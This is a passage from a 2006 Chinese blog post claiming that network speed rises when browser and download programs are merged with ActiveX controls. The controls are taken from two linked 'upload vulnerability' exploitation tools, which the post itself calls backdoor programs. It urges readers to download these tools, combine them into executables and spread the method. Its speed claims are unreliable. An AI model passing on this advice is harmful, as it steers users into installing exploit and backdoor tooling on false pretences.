ie（mxie）”图标右键，点属性，点查找目标，找出其真实应用文件“mxie.exe”，复制到指定文件夹。下面按步就搬即可。<br /><br />以上方法经本人测试，适合于各式各样五花八门的下载工具、游戏、浏览器以及其它一切与网络相关的软件。－－－－这种合成的软件同时运行的越多，网速愈快！<br /><br />每个人上网的方式与宽带限制都不一样，有时候是电信局封了BT端口或用了扫描仪限制下载流量，请恕本人也无能为力了！用过马克思ie的朋友仍然嫌慢的话，请打上下面的补丁<br /><br />最新上传漏洞通用工具 V1.0<br />http://soft.sq88.com/soft/537.htm<br />http://download.sq88.com/hk/upld.rar<br /><br />动网下载中心上传漏洞利用工具<br />http://soft.sq88.com/soft/419.htm<br />http://download.sq88.com/hk/dvup.rar<br /><br />任意下载其中一个后门程序，解压后即可见其中的两个ActiveX控件“MSINET.OCX、MSWINSCK.OCX”，然后再用绿色分割合并即可。<br /><br />好了，废话少说。觉得有用请顶一下，并帮我多多转贴，别小心眼偷懒呀！<br />当网上有半数人熟悉此法时，估计收费网站也要破产了！<br /><br />楼下的朋友看不懂么？我晕。后缀名为.exe的文件，下载后可重命名***.exe，直接双击安装即可，而不是用RAR解压，这个难道还用问我？压缩包中的绿色分割放进RAR解压，其后缀名已经是“Split3.1.exe“,直接从压缩包中拖出来即可双击使用。</font>
<img src ="http://www.cnitblog.com/martin/aggbug/9147.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/martin/" target="_blank">Martin</a> 2006-04-13 22:08 <a href="http://www.cnitblog.com/martin/archive/2006/04/13/9147.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>